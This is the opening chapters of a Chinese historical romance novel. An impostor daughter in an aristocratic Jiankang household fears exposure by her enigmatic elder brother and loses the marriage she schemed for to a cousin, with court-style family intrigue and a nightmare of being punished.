《长兄》 1. 兄妹 青琐窗外蝉声如沸,檐角金铃间或发出一声清响。 濛濛水雾从冰山上升腾起来,与金博山炉里的沉水香混杂一处,弥漫满室,驱散了暑气。 卫婴跪坐在案前,用目光一遍遍描着膝下龙须草席的花纹,后背上慢慢沁出冷汗。 她听见悬在头顶的呼吸,目光略微上移,看见男人竹青色衣裾边缘的云纹。 仿佛被烫了一下,她连忙垂下眼帘,不由自主地微微后缩。 “可知为何叫你来?” 长兄的嗓音如金石相击,清泉漱玉,是能让人耳根酥痒,双腿发软的声音。 卫婴双腿发软,却是因为害怕。 她仰起脸,将眼睛微微睁大,好显得更无辜:“阿婴不知,还请阿兄明示。” 男人不言语,只有厚重的黑檀戒尺轻敲掌心,慢慢地,一下、两下……仿佛敲打在她心头。 卫婴想从他眼角眉梢探出些蛛丝马迹,但男人的面容笼在轻烟中看不真切,她心里越发没底。 “最后问你一遍,可知错?” 卫婴咬了咬唇,破釜沉舟:“阿婴真不知。” 良久,男人轻叹了一声:“我对你很失望。” 卫婴心头重重一跳:“阿兄……” “你不该唤我阿兄,”男人的嗓音依旧温和,似乎还有些惋惜,因此更叫她毛骨悚然,“你并非我妹妹,以倡优之身,鱼目混珠、鸠占鹊巢……” 他发现了她的秘密,他终于发现了! 仿佛有根尖刺贯穿了卫婴的头颅,她耳边嗡嗡作响,手脚霎时冰凉。 他会怎么对付她?卫家人会怎么对付她?他们会送她见官还是关起门来一杯毒酒鸩杀她? 不,卫婴心如电转,他并未送她见官,也未大张旗鼓惊动长辈,却关起门来审她,定然没有真凭实据,未必不是在诈她。 应当还有一线生机…… 她是不见棺材不落泪的人,当即眨了眨眼,两串珠泪滚落下来:“阿兄说的话阿婴一个字也听不懂,我是你亲妹妹啊……” “你自小便爱撒谎,”男人语气无奈,仿佛只是个溺爱妹妹的兄长,说出的话却令人胆寒,“天生的坏孩子,不罚是不会说真话的。” 戒尺敲打在几案上:“趴下。” 卫婴怔住,唇瓣颤动:“阿兄……” “趴下。”男人重复了一遍。 卫婴膝行到案前,站起身。 “自己撩起来,趴上去。” 卫婴几乎将嘴唇咬出血来,小时候她在百戏班里做寻橦童女,挨打是家常便饭,撩起衣裙,趴下挨打,几乎是每日的功课。 可当着长兄的面……虽然他们并非真正的兄妹,屈辱还是无以复加。 入卫府六年,虽说兄妹不算亲密,卫珩又长居会稽山间,两人聚少离多,可卫婴也是真的将他当作了长兄。 “忘记怎么挨打了?”男人似乎故意要将她的尊严碾作尘土,“过了几年锦衣玉食的日子,忘了自己的本分?” 卫婴的眼泪一串串滚落下来,这回是如假包换的真眼泪。 她弯下腰,缓缓地撩起茜红绫绢裙,在长兄冷漠的注视中,伏倒在案上。 身后传来凉意,亵裤也被剥离,冰凉的戒尺轻轻在她身上移动,仿佛那戒尺的主人在犹豫将它落在何处。 “再问你一遍,为何冒充我卫氏女?” 卫婴浑身颤栗,但她心知再害怕也要忍住,若招认了就真是死路一条:“阿兄要罚便罚,子虚乌有的事阿婴不会认的……” “很好。”他赞许道,几许愉悦。 戒尺在她身上轻轻一点。 卫婴缩紧身子,闭上眼睛,指甲掐进掌心。 挨打时最难耐、最可怕的,永远是那将落未落的第一下。 耳边传来戒尺破风的声响…… 卫婴忍不住惊叫出声,满头大汗地从梦中惊醒过来。 眼前昏黑一片,油灯微弱的光芒大半被床帐挡在了外面。 卫婴一时不知自己身在何处,急忙四处摸索,指尖传来象牙簟熟悉的纹理触感,方才安下心来。 她在卫府,在自己的卧房里,她仍旧好端端地做着卫氏女郎。 是梦,好在是梦。 心脏剧烈搏动,仿佛一只陌生的小兽,要从胸腔里挣脱出去。 卫婴嗓子干得要冒火,轻咳了两声,唤值夜的婢女:“青栀,我渴——” 无人回答。 是睡得太沉了?还是去净室了? 卫婴提高声音又唤了一声。 恰在这时,夜风吹来,拂开轻罗床帐,将一缕淡淡的沉水香气送到她鼻端。 卫婴向帐外一看,霎时如坠冰窟。 摇曳的烛光在云母屏风上投下了一个人影。 那影子一动不动,不知在那儿坐了多久。 “青栀,是你么?还是翠翘?”卫婴虽这样问,但心知那绝不是她的哪个婢女。 那人身形和身量不似女子,而那缕沉水的气息,仿佛是从方才的噩梦里爬出来的蛇,无声无息游动着,爬过她肌肤,缠上她的脖颈。 一个名字呼之欲出,她一下子乱了呼吸。 绝不可能是他,他此时还在会稽,还有三四日才会回建康。 可不是他会是谁?这可是卫府,每道门外都有部曲守着,三更半夜怎么会有男子出现在卫家女郎的卧房里? 只能是家里人。 能用最上等珠崖沉水熏衣的,自然不会是奴仆。 看身量不会是几个未长成的堂弟,莫非是哪个堂兄? 卫婴怎么想都觉荒谬,正迟疑着要不要打草惊蛇,蜡烛燃尽,忽然“嗤”地一声熄灭了。 卧房顿时陷入黑暗。 卫婴屏住呼吸,在黑暗中攥紧手,数着自己的心跳。 不知过了多久,屏风外传来衣料摩擦窸窸窣窣的声响,动静渐渐远去,最后终于听不见了。 卫婴侧耳倾听半晌,生怕那人去而复返。 幸而她害怕的事并未发生。 她逐渐放松下来,方觉头脑昏沉,困意上来,不知不觉又睡了过去。 受了一场惊吓,是夜她又做了许多乱梦,始终睡不安稳。 再度醒来天光已大亮。 卫婴一睁眼便去摸枕边的鎏金小手镜,放到面前。 镜中人肌肤白皙细腻,樱唇柔嫩,是士族女郎才能养出的一张脸。 说来也怪,吃了几年卫府的水米,她生得越来越像卫家亲生的女郎,混在姊妹间以假乱真,眉眼间甚至有一丝卫珩的影子。 并肩而立,任谁都不会怀疑他们是亲兄妹,甚至连她自己都不免恍惚。 “你是卫婴,”她在心中默念,“死在水里的是阿萤,这世上没有阿萤,只有卫婴。” 心跳慢慢平复,她将手镜倒扣在衾被上。 时已入夏,天候燠热,寝具也是应时的。 身下铺着光洁无暇的象牙席,紫色轻纱床帐上用金线绣着朵朵莲纹,衾被和寝衣都是用最精细的絺布裁成,又由婢女用手一寸寸揉得细腻柔滑堪比婴儿肌肤,方能送到她这里。 这些物件一旦有丁点脏污,便立即换新的,奢靡得叫人瞠目。 卫婴轻轻抚着衾被和象牙席,这些世族子弟不过是会投胎,便心安理得地享用着这些好东西,她不比他们愚钝,不比他们丑陋,尤其不比他们更缺德,凭什么她就享用不得?她比他们差在哪里?她偏要一直享用下去,享用一辈子! “女郎醒了?”婢女青栀的声音打断了她的思绪。 卫婴这才后知后觉地发现小衣后背连同下面的象牙席都被冷汗浸湿了。 她陡然想起昨夜的惊吓:“昨晚你去哪里了?我唤你也不答应?” “女郎恕罪,昨日奴婢肚腹不适,夜里去了几趟净房,没能好好服侍女郎,早知该叫翠翘起来替奴婢的……” “无妨,只是半夜醒来有些渴,”卫婴安慰她,“去传水替我沐浴罢。” 青栀快步走到外间,吩咐小婢去传话,又回到房中,撩开一半帐幔挂在银帐钩上。 看见卫婴的模样,她惊呼了一声,伸手摸她额头:“女郎怎的流了这么多汗?脸色也白得吓煞人。” “无事,”卫婴道,“只是发噩梦魇住了。” 她陡然想起昨夜的惊吓,略一迟疑,还是问道:“昨夜……可有人听见什么异常的动静?” 青栀一脸茫然:“没有啊,门户都锁得好好的。女郎可是听见什么?” 卫婴摇摇头:“我只是随口问问。” 她不禁怀疑起自己,昨夜当真有人进来过么?她院中二三十个婢仆,加上杂役就更多了。 即便是卫家人,又怎么神不知鬼不觉地潜入她卧房? 除非是见鬼了。 多半是半梦半醒之间看错了,或者当时根本还在梦中。 卫婴如此一想便释然了,没道理自己吓自己。 热水备好了,青栀伺候她起床,替她将长发梳顺:“奴婢方才听见女郎说梦话了。” “哦?我说什么了?” “女郎唤了好几声‘阿兄’,可是想念郎君了?” 卫婴脊背一僵,旋即轻描淡写道:“是心虚呢,近来怠惰,阿兄归来要考校功课,生怕被打手板。” 青栀如释重负,也跟着笑开了:“女郎真是多虑了,郎君性情最是温和的,下人犯了错都不见他高声,便是女郎真的偷懒,郎君也不会说一句重话。” 这话不假,她这位长兄“言为世则,行为世范”,又生就一股风流蕴藉的气韵,比起他那位掷果盈车的曾祖父有过之而无不及。 他十三四岁便闻名江左,被时人称作“玉郎”。 别说用戒尺打她那种地方……手板也不曾打过一下,十分不满时也不过冷着脸微微皱一下眉。 可不知为何,卫婴阖府上下谁都不怕,唯独怕这温润和善的长兄,一见他就从骨头缝里渗出寒意。 每当他用那双黑得看不见瞳仁,仿佛能堪破一切的眼睛注视她,她就有种被扒光一切伪装,赤身露体的恐惧。 “女郎这是日有所思夜有所梦,思念兄长了,”青栀继续旁敲侧击,“想必郎君在山中清修,也日日挂念女郎。” 卫婴牵了牵嘴角,并不说话。 卫珩因宿疾之故随名僧修行,隐居会稽山别业,自那以后兄妹一年便只见两次,一次端午祖母生辰,一次岁除宴。每回见面也只不过叙个寒温,考校一番功课,与陌路人相差无几。 这里面自然也有她刻意躲避的缘故。 青栀看在眼里,很是无奈,扶她起床:“女郎恕奴婢多口多舌,这府上郎君与女郎才是最亲的,女郎婚事就在眼前,怎么操持,嫁资丰俭,不都是郎君一句话的事……” 卫婴正色:“莫要胡言乱语,我们这样的人家,这些事自有长辈做主,哪有女儿家自己操心的。” “奴婢知道轻重,只在私下里同女郎说说,”青栀叹了口气,“可惜郎主与夫人早早仙游,老夫人又偏心那两房……” 见卫婴又要张口,她忙道:“女郎放心,奴婢不会出去混说的。” 卫婴注视着她的眼睛,柔声道:“我自不会疑你,只怕你总是为我不平,出去言语神态中不小心带出些,你毕竟 是祖母的人,叫人看出轻慢来,不能将我怎么样,却能拿你作筏子,我怕你受委屈。” 青栀眼眶顿时红了:“奴婢虽是老夫人拨给女郎的,但早就当自己是女郎的人……奴婢只愿一辈子侍奉女郎,只要女郎不嫌弃。” “我怎么会嫌弃你,”卫婴道,“好了好了,怎么说着说着眼睛都红了,一会儿出门他们还以为我欺负你呢。” 青栀道:“阖府上下谁不知女郎性情和软,女郎要会欺负人,奴婢也就不担心了。” 她拭了拭眼角:“女郎答应奴婢,可要让奴婢陪嫁去王家。” 卫婴脸上染了轻霞:“你又来了,八字还没一撇呢。” “昨日郗老夫人都上门了,定是来为王家保媒的,”青栀笑道,“一会儿从老夫人那里亲耳听见,女郎就不能不信了。” 又自言自语似地念道:“但愿女郎与王郎君的婚事顺顺利利……” 卫婴佯装羞恼,心里也颇以为然。 王诚是琅琊王家的次房嫡孙,家中行五,出身清贵,为人“淳古”,说好听是老实,说难听便是有些呆。 呆的好,呆的才好拿捏。 难得的是内闱干净,在一众十四五岁当上阿耶的贵游子弟里是不折不扣的清流。 最要紧的是王小郎君的母亲郗氏出了名的耳根子软,门第又比卫家低了一等,嫁进去不怕她拿出长辈身份压人。 她正是卫婴为自己精挑细选的婆母。 若非如此,上巳祓禊那日她的幂篱不会那么巧,偏偏在王诚打马经过时被风掀落,掉在他马下。 至于后来他三不五时仗着“通家之好”来登门拜访、送节仪风物、让她的堂弟传书,就是他自己的事了。 左右卫婴一封书信也没收,凡是单独送她的礼物也都退了回去。 青栀生怕她太过拒人于千里,错失了好姻缘,然而卫婴是百戏倡优出身,那时候一个百戏班几十号男男女女混居一处,什么事都不避忌人。 她在尚且懵懂童稚的年纪就见识了太多男女之事,明白世间男子不分贵贱贫富都一样,越是求不得的越抓心挠肝地想。 果然,她什么都不必做,她越是八风不动,王诚越是神魂颠倒、非卿不娶。 这些算计卫婴自不会让任何人知晓。 “王郎君品貌也算是一等一的了,”青栀惆怅地道,“只要不同我们家郎君比……” 卫婴道:“放眼江左,谁又能和阿兄比呢。” 饶是她怕卫珩,也不得不承认,长兄非但惊才绝艳,而且洁身自好,江左无人能出其右。 何况嫁进来还不用伺候阿姑。 若卫珩不是她长兄,倒是门天上地下难寻的绝好亲事…… 卫婴回过神来,叫自己的念头吓得不轻。 不行,这样的人她可消受不起。 青栀又在劝她:“老夫人寿诞,郎君一定会归家的,女郎不妨多与郎君说说话……” 卫婴明白她的意思,长兄虽然尚未出仕,但仍是卫氏乃至各大世家这一代中出类拔萃之人,位极人臣是早晚的事,趁着出阁之前与长兄热络些,出嫁后更有底气——假如她是真的卫婴。 如今她恨不得今日过定明日完婚,不用和长兄打照面。 只要嫁进王家,即便卫家发现她是冒名顶替的,也只能为了颜面将错就错,那时她才是彻底高枕无忧了。 “阿兄不过回来小住数日便要回会稽,这几日还要往来酬酢,哪里有时间分给我。”她道。 青栀叹了口气:“郎君要是早日出仕就好了,那样就能长留建康给女郎撑腰了,郎君只要肯松口,立刻就能上任。” 卫婴叫她戳中隐忧,心又往下沉了沉。 天子屡次三番下诏征辟卫珩,他每回都坚辞不受,可是不久前四叔父领兵北伐失利,被革了官职,其余几个叔父更是碌碌无为。 如今家族需要卫珩顶门立户,难保他不会留在建康。 回想起面对卫珩时那提心吊胆的滋味,肚腹中仿佛有只冰冷的手来回翻搅。 她安慰自己:“阿兄要侍奉师长,还要潜心注经,一年半载回不来的。” 青栀还想说什么,卫婴催促:“扶我起来沐浴罢,迟了恐怕祖母见怪。” 卫氏的规矩,小辈每日清晨要去向祖母张老夫人请安,陪着老夫人用罢朝食再各回各院。 其他人早些晚些无妨,卫婴去迟了便是有失卫氏体统。 青栀不再多言,唤了小婢来换床褥,与另外三个贴身婢女伺候卫婴沐浴。 直至今日,卫婴仍不习惯沐浴时有人伺候,于旁人面前坦身露体,总有一种无所遁形之感。 但她不敢随心所欲屏退婢女。 刚到卫府时,长兄淡淡的一句“阿婴似乎不习惯奴婢伺候”,让她惊出一身冷汗,迄今心有余悸。 她压下心中不适,用习以为常的姿态托起双臂,微仰下颌,让婢女宽衣。 除下衣衫时,几个婢女仍是不由暗暗惊叹,氤氲水汽中女郎肤若凝脂,仿佛由内而外蕴着光华,真无一处不美,传说中的高唐神女、洛水宓妃恐怕就是这般了。 青栀执起象牙水杓舀起一杓加了香药的浴汤,缓缓地从卫婴肩头淋下,乳白色的香汤淌过丰润柔腻的肌肤,婉转没入玉壑,看得她一个女子也心动眼热,不禁脱口而出:“王郎君真是前世修来的福气。” 卫婴佯怒,撩水泼她,脸颊却飞起霞色,越发艳丽非常。 这抹红晕直到她走进张老夫人院中时还未彻底褪去。 婢女打起帘栊,卫婴一手拈着绢扇,一手轻提裙摆,跨过门槛,一抬起头便怔住了。 2. 重逢 卫婴因沐浴耽搁,到得迟了,其余四房晚辈都已聚在祖母张氏堂中。 堂屋里重帷叠幛,多是深色锦绮,是以比别处暗一些,可卫婴还是一眼看见了那坐在张老夫人右手边的男子。 无论多少人在侧,他总是最引人瞩目的一个。 不是她噩梦中才见过的长兄又是谁? 竹帘一动,屋子里的笑语声戛然而止。 卫珩抬起眼皮,目光在她身上一顿:“许久未见,阿婴。” 他语声和缓,笑容温煦,眼尾深长、眼梢微挑的眼眸里也只有身为兄长对幼妹的关切与注意,可卫婴却似被凶兽猛禽盯上,不自觉地打了个寒颤。 卫珩多半昨日就回来了。 那么昨夜出现在她床前的人影…… 可是她方才问过守院的奴仆,昨夜院中一切如常,院外也有护卫把守,长兄如何潜入她房中?又是为何缘故? 卫婴心乱如麻,屏风外的人影似阴云笼罩在她头顶。 “阿婴这是连自家阿兄都不认得了?”出身太原王氏的二叔母笑道。 卫婴回过神来:“乍见阿兄归来,喜不自胜,一时不知如何是好了。” 她定了定神,甜甜地对着长兄一笑,上前乖顺地屈膝俯首行礼:“阿婴见过长兄。” 卫珩还了一礼,看了看她:“阿婴比之我岁初离家时又长了半寸,也越发知礼了。” 侍立在祖母身旁的三叔母小张氏“噗嗤”一笑:“看这两个孩子,嫡亲的兄妹揖来让去,倒生分得不似一家人。” 她是有意讥刺,但他们生分也是真的。一般亲兄妹分别许久,见了面都要执手叙寒温,可卫婴只看了一眼卫珩那玉雕般的手,手背上隐隐凸起的青筋,便莫名头皮发麻。 她朝小张氏笑了笑。 这三叔母是祖母张老夫人的隔房侄女,又嫁了她亲生的儿子。 其人性情偏狭、争强好胜,偏偏夫婿不成器,只知吟风弄月、服散狎妓,仕途多年不得寸进,自觉怀才不遇,去岁逞一时意气上表辞官,本以为皇帝与众臣定会挽留,谁知却无人理会,皇帝宁愿几次三番下诏征辟卫珩。 张氏看长房也就越发不顺眼了。 可如此出言不逊,又不像她平日的作派。 卫婴观她眉宇间又有几分趾高气昂、扬眉吐气之感,便隐隐不安起来——三房有喜事,绝不是什么好事。 她面上不显,妙目婉转,似嗔非嗔地朝着卫珩娇憨一笑,露出一对小巧梨涡:“阿兄长居会稽,总也不归家,一岁也见不到几面,阿婴愚钝,时日长了怕是真要相见不相识,阿兄若能长留京中便好了。” 卫珩笑意浅淡:“是该怪我。” 祖母张氏虽也不喜长房,城府到底侄女深些,一脸慈蔼地看着这对与她并无丝毫血脉亲缘的孙儿,半真半假地向卫婴道:“婴娘劝劝你阿兄长留建康,也让老妇享几日天伦之乐。” 卫婴面上自是欢欣,期冀地望着卫珩:“不知阿兄可有留在建康的打算?”心里却将佛祖三清都求了一遍,只盼着他断然拒绝才好。 就算要出仕,也有两条路可以选,如今桓大司马与朝廷隐隐有分庭抗礼之势,卫氏是他极力拉拢的世家之一。卫珩可以应朝廷征召在建康为官,也可以去姑孰桓大司马军府任职,就如他庶出的五叔一样。 你们就保佑他选姑孰罢!卫婴暗暗祈求。 然而或许是平日道心不虔之故,佛祖三清都不帮她。 卫珩的目光从她脸上掠过,向张老夫人道:“祖母有命,孙儿自当承欢膝下。孙儿前日应祇洹寺法颖禅师之邀,为寺中新修佛堂画壁,会在建康逗留三月有余。至于他事,容后再议。” 这话犹如一道晴天霹雳。 卫珩带着微微的笑意看向她,仿佛在说:“可还满意?” 卫婴生怕叫他看穿心思,迎着他的目光越发笑得甜蜜,直到腮帮子生疼,他才悠悠地移开了目光。 张老夫人的笑容也颇有些勉强。 卫婴心下纳罕,原来祖母同她一样,不愿卫珩回建业么? 这便有些耐人寻味了。 虽然祖母偏心,但她并非小张氏那般目光短浅之人,应当知晓四子领兵失利,三子又丢了官职,当此之际唯有卫珩出仕可以力挽狂澜,振而兴之。 即便卫珩并非她血脉,可本朝以孝治国,孙儿位极人臣、光耀门楣,自然也要尊崇这唯一的祖母。 她为何不喜? 不止不喜,祖母那一瞬间的神情甚至堪称惊惧。 可是她怕卫珩是因为自己是鸠占鹊巢,张氏为何怕个孙辈?她总不能是假的吧? 卫婴暗自琢磨,百思不得其解。 二叔母王氏道:“怎的站着说话,阿婴来同叔母坐。” 又笑问卫珩:“阿婴来之前,珩郎说到哪里了?” 卫珩微微抬眼,目光从卫婴襟前掠过:“正说起前日去游宣明观,观后有一片桃林,乃葛仙翁在世时手植,结实丰硕,皮薄如纸,汁甜如蜜,据称可延年益寿,珩下山前观主赠以数筐,待日暮犊车到府,便着人分送诸亲。” 王氏喜道:“听闻那葛仙桃极难得,一枚万钱难求,观主目下无尘,从不轻易与人,缘何愿以数筐相赠?” 卫珩淡然道:“珩与观主辩经谈玄,侥幸略胜一筹。” 众人闻言都是愕然,连祖母张氏也面露讶色。 宣明观主是高道,更是江左首屈一指的清谈名家,与名士辩难几乎从无败绩,竟对卫珩甘拜下风——赠之以葛仙桃一车,可见是心悦诚服。 王氏叹道:“珩郎巨才,我等今日沾了你的光。” 卫珩:“二叔母谬赞,清谈小技,不足为道。” 说着又与堂弟堂妹一一叙话,询问他们的课业,十足端肃持重的长兄作派。 卫氏五房中,只有二房、三房是张氏所出,四、五房都是庶出,长子则是原配颜氏所生,是以五房各怀心思,面和心离。 小辈们却尚有些懵懂,倒是都很钦慕这芝兰玉树的长兄,他与谁多说一句话,旁人便纷纷投来欣羨的目光。 堂中言笑晏晏,其乐融融,卫婴趁着长兄与他人说话时,方仔细打量他。 当年他十五岁入宫觐见,先帝盛赞他如玉山辉映,莹彻照人。 此时一打量,她这长兄真像是会发光一样。 卫氏家传的美姿容,这一屋子的子弟单拿出来都是玉琢般的人,可与卫珩同处一室,便都成了灰蒙蒙面容模糊的陪衬。 半年未见,他的身量似又长了些,一身素净的白苎夏衫用同色腰带一束,便显出宽肩窄腰和修长脖颈。 都中名士崇尚放旷通达,又尚服五石散,多宽袍广袖,乃至坦胸露乳,卫珩许是山居久了,两重交领系得规规矩矩,几乎掩住了喉结。 若是换作旁人,多半会叫人耻笑不合时宜,但卫珩如此,便是出尘绝俗,岳峙渊清。 卫婴不免又一次暗自叹息,若她是真正的卫婴,这兄长真是她的该多好。 正出神,三叔母小张氏以帕掩口轻咳了一声。 不知是不是卫婴心怀偏见,只觉那咳嗽声也透着股矫揉造作的劲头。 < p>“对了,”祖母道,“有个喜讯要告诉你们。” 卫婴右眼皮跳起来,心里有股不祥的预感。 果然,张老夫人笑盈盈地看向最疼爱的孙女卫珠:“昨日庾太保夫人郗氏来替王家五郎求娶我们真珠儿……” 卫珠摆弄着腰间双鱼佩,倚在张老夫人怀里娇嗔:“祖母怎的就说出来了,还未说定呢……” 张老夫人每条皱纹里都流淌着发自内心的笑意:“这孩子,倒埋怨起祖母来了,将来到了夫家可不能这般做小女儿情态,叫人说我们卫氏女郎任性妄为。” 她爱怜地刮了刮孙女的鼻梁:“你呀,真该学学婴娘的稳重识大体。” 卫婴浑身仿佛浸泡在冰水里,凉意透到了骨子里。 她还有什么不明白的?定是张氏与小张氏这对姑侄从中作梗,将她亲自物色的夫婿、精心筹谋的姻缘横刀夺了去。 这些年来她百般讨好祖母,张老夫人明面上也是一碗水端平,甚至还总是做出偏爱她的模样,卫婴固然不会当真,却也想不到她这么不顾脸面。 卫珠从祖母怀中抬起脸来,一脸歉然地看着卫婴:“阿姊,你不会怪我罢?” 卫珠与她年岁相当,又有小张氏这样的母亲撺掇,从小到大都将卫婴视为敌手,凡事都要与她较个高下,比样貌,比才学,比书道,比吃穿用度,奈何她什么都赢不过卫婴——更可气的是卫婴初来乍到时明明样样都不如她,不知不觉却长成了卫家最耀眼的女郎。 说起卫氏女郎,谁都只看得见卫三娘,无人在意她这卫家四娘。 这回总算在婚事上扬眉吐气,她自忍不住耀武扬威。 卫婴笑容不减,仿佛真心为姊妹高兴:“四妹这话好生古怪,我为何会怪你?恭祝四妹觅得佳婿。” 卫珠:“阿姊还未议婚,我这做妹妹的倒抢了先……” 卫婴真实的年纪比卫珠还小了半年多,不过名义上她是姊姊,姊姊还未议亲,妹妹先订下亲事,的确是逾矩。 她浅浅一笑:“四妹缘分到了,总不能为了长幼之序错过了良缘。” 卫珠一张脸顿时涨得通红,这堂姊说话绵里藏针,分明是在说她不顾礼义廉耻,可是她眉目含笑,语气温和,叫人只能吃闷亏。 卫婴哪有心思与堂妹打嘴仗。 筹谋许久的婚事落空固然叫人不快,但事已至此,又不能去和姊妹抢男人,平白给外人笑话。 往者不可谏,来者犹可追,定了亲的男人就和死了一样,与其懊恼愤懑,不如记住这前车之鉴,下回再改进。 她在意的只有捉摸不透的卫珩。 如此想着,她悄悄抬眼望他,偏巧对上长兄的眼睛。 目光淡淡的,似在看她,又似什么都未放在眼里,卫婴却觉自己那点心思全叫他看穿了。 梦里那股无处遁形的感觉再度袭来。 王五郎钟情于她,满建康都知道,卫珩一定也有所耳闻,如今是这个结果,他又是怎么想的? 无论如何,他的话在卫家分量极重,却对此不置一词,仿佛亲妹妹的婚事与他毫不相干。 就在这时,卫珩起身告辞:“祖母与诸叔母、弟妹宽坐,珩先行告退。” 张老夫人眉头几不可察地一松:“你鞍马劳顿,快回去歇息罢。” 卫婴见卫珩施施然向门外走去,也不由如释重负。 谁知方悄悄吐出一口气,卫珩忽然脚步一顿,转身道:“阿婴。” 卫婴一颗心又提了起来,强自镇定:“阿兄有何吩咐?” 卫珩道:“你随我来。” 3. 款洽 一走出祖母的院子,等候在廊下的青栀迎了上来,担心又不忿地看着自家女郎——方才张老夫人他们说话并未避忌下人,青栀在帘外也听见了。 卫婴生怕这直肠子的婢女在长兄面前乱说话,便支开她:“我随阿兄去书斋,你去替我取些松萝茶来。” 说着向卫珩道:“谢家姊姊送来的茶,是谢氏豫章庄园今春新采的,与阿兄尝尝。” 卫珩看了她一眼,不咸不淡地道:“有心了。” 谢家七娘子谢昙是她手帕交,她刚到建康那些时日,那些士族女郎对她敬而远之,潇洒磊落的谢昙是第一个与她交好的。 她常遗憾谢昙不是男子——若她是男子,还有王诚那厮什么事! 后来她又幻想过谢昙能做她阿嫂,不过卫珩越来越教人捉摸不透,她便打消了这个念头,她是真喜欢谢七娘,不愿叫她跳这个火坑。 不,是冰窟才对。 “在想什么,如此好笑?”耳边突然响起冰棱敲击似的声音。 卫婴连忙摇了摇头:“胡思乱想罢了。” “我素来不喜松萝茶,阿婴想必是忘了。”卫珩像是顺口一提,并无苛责之意,但卫婴却冒出了冷汗。 她从未听说过卫珩不喜松萝茶,也想不起来他曾提过。 不过这也不足为怪,她躲着长兄还来不及,如何会去留意他的喜好。 卫珩转过头,似不经意地瞥了她一眼,又收回目光:“怎么还穿着去岁旧衣,可是新送来的不合心意?” 卫婴不自觉地低头看了看衣襟。 她身上这件白色縠衫,里面的雾紫绣珠抱腰,的确都是去岁夏日裁的,没想到竟叫他看出来了。 长房因为是原配所出的缘故,早早便与其他各房分开理账,兄妹的吃穿用度都不从公中走,她的四季衣裳、首饰每个月由家令置办后送来,许多出自御用的织纺,不但比其他姊妹多出数倍,也精巧新奇许多。 这也是让卫珠不忿的地方——都是卫氏女郎,卫婴连吃穿用度都比他们高一头。 卫婴不想惹这些闲气,平日在家总拣着素净的穿。 也不知卫珩怎么看出来的。 “虽是去年裁的,却是第一次穿上身,”卫婴轻轻提了提裙裾,“家令置办的衣裳首饰实在太多了些,我都穿戴不过来了,放着也是糜费,不如少做些。” “不过几件衣裳,能值什么,”卫珩道,“多裁一些从中选你喜欢的便是。” 不得不说,卫珩这长兄当得十分称职。 卫婴甜甜一笑:“多谢阿兄,阿兄待我真好。” “你是我妹妹,”卫珩还以微笑,“待你好是理所当然的。” 卫婴心一紧,如果有朝一日他发现她是假冒的,想起她占的这些好处来,会不会越发恨她? 两人一边说着话,一边穿过铺着莲花砖的庭院。 卫珩风姿清雅,白衣翩跹,日光穿过纵横交错的枝叶,投下斑驳光影,像无数光的蝴蝶停落在他肩头。 卫婴情不自禁地偷眼瞟他。 阔别半年,长兄的身形越发颀长,风有时从旁侧吹来,薄衫贴在身上,便勾勒出窄腰长腿的优美线条。 他看着清瘦,但毕竟长居山中,日常在山水间行走,自比建康那些傅粉施朱,出门便坐牛车的贵游子弟健硕得多。 卫婴莫名有些耳热,仿佛看了什么不该看的东西,心怀鬼胎地别开视线。 一路胡思乱想着,不觉到了卫珩的书斋。 他去祖母院中请安时,随从已洒扫通风,燃上上好的沉水,搬来了冰鉴,在青瓷瓶里插上新剪的花枝。 两人相对坐下,奴仆捧来一方黑檀食案,上面碧绿琉璃盘里摞着几只蜜桃,仿佛绿叶盛托着,越发显得鲜洁。 那些桃子不但硕大饱满,而且大小匀称,一看便是精挑细选出来熟透的果子。 粉白的果皮吹弹可破,红润果尖鲜妍可爱,果子似是用冰湃过,凝着一层晶莹水滴,漂亮得叫人舍不得下口。 卫婴却有些坐立难安。 看见桃子,她便免不了想起初入卫府不久,也是桃子成熟的时节,也是在卫珩的书房,庄园送了新摘的桃子来,保母便洗了一盘端来。 卫珩让她先挑,卫婴不疑有他,挑了一枚小的,撕开一点皮,自以为斯文地咬了一小口,抬头却见少年托着腮看着她,宝石似的眼睛闪动着玩味的光。 卫婴心里顿时打起鼓来:“阿兄为何看我?” 卫珩只是懒懒道:“阿婴食桃的模样很有趣,从未见过。” 卫婴后来才知道士族子弟是不会拿起果子便啃的,有奴仆去皮去核,用小刀子切成大小均匀的瓣,小心摆放在琉璃碟子里,搁在冰碗里呈上来。 那不是她第一次在卫珩面前犯错,却记忆犹新,因为每回食桃都不得不“温故知新”。 卫珩仿若未觉:“记得阿婴喜食此果,便随车带了几枚回来先给你尝。” 卫婴一脸受宠若惊,胃里却抽搐起来,她不知道卫珩还记不记得当年事,总疑心他是故意的。 她将手放在小腹,轻轻颦眉:“多谢阿兄记挂,只是昨日贪凉饮多了梅汤,腹中有些不适,恐怕辜负了阿兄好意。” 卫珩道:“那便只尝一口。” 他根本不容她拒绝,叫奴仆端了净水来濯手,将衣袖挽到手肘,一截劲瘦修长的小臂便露了出来,白皙肌肤上,鼓起的青筋从手背盘绕上去,直至隐没在衣袖中。 卫婴不敢细看,慌乱中又想起那场噩梦,这样的手臂挥起戒尺打人,一定很疼罢? 这样想着,肌肤若有所感,生出火辣辣的错觉来,脸也红了。 梦外的长兄自不会做这么荒唐的事,她的秘密也藏得好好的,卫婴不住安慰自己。 卫珩一边抖落指尖水珠,一边掀起眼皮,目光在她面颊上扫过:“热了?叫人再取个冰鉴来。” 卫婴摇了摇头:“不热,已很凉快了。” 卫珩便接过细白如新雪的绢帕擦了擦手,屏退了奴仆,耐心地将一盘蜜桃一个个轻轻捏过,选了软硬适中的一枚,执起小银刀,将蜜桃剖出一半,削去皮,用刀尖插着递到卫婴嘴边。 简直像是蛮夷割食炙肉一般粗野,士族女郎绝不会如此进食。 卫婴垂下眼帘看着长兄凸起的腕骨,脸颊烫得要冒烟,卫珩却似浑然不觉:“尝尝。” 卫婴终于还是低下头,抬手掠起鬓边的碎发,微微分开唇瓣,似咬似抿地吃了瓣尖的一小口,甘甜似蜜的汁液溢满口腔,真是齿颊生香。 她抬起眼,隔案望着长兄。 卫珩也看着她含水的眼眸:“如何?” “很甜。”卫婴道。 卫珩便将剩下的桃子连刀一起放回盘中,站起身走到书案前,问卫婴:“近来在读何书?” 终于要考校功课了,卫婴却莫名松了一口气,对答如流:“已从朱夫人受《论语》、《毛诗》、《周易》、《三礼》,略通大义。” 士族女郎不可以不学无术,祖母张氏替他们姊妹几个延请了女师。 师傅姓朱,出身三吴四姓之一的朱氏,不过是旁支。 